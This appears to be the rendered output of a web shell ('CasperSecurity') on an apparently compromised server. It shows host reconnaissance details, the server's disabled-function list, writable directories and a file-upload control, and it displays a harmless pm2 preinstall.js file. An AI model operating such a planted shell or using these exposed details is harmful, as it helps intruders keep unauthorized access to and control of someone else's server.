T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/gocodeme.com/private_html/node_modules/pm2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/gocodeme.com/private_html/node_modules/pm2/preinstall.js
const fs = require('fs');
const path = require('path');

// Determine platform
const isWindows = process.platform === 'win32';

if (!isWindows)
  process.exit(0)

const sourceFile = 'bin/pm2-windows';
const destinationFile = 'bin/pm2';

// Resolve file paths
const sourcePath = path.resolve(__dirname, sourceFile);
const destinationPath = path.resolve(__dirname, destinationFile);

// Copy the appropriate file based on the platform
fs.copyFile(sourcePath, destinationPath, (err) => {
  if (err) {
    console.error(`Error copying file from ${sourcePath} to ${destinationPath}:`, err);
    process.exit(1);
  }
  console.log(`Successfully copied ${sourceFile} to ${destinationFile}`);
});

CasperSecurity Mini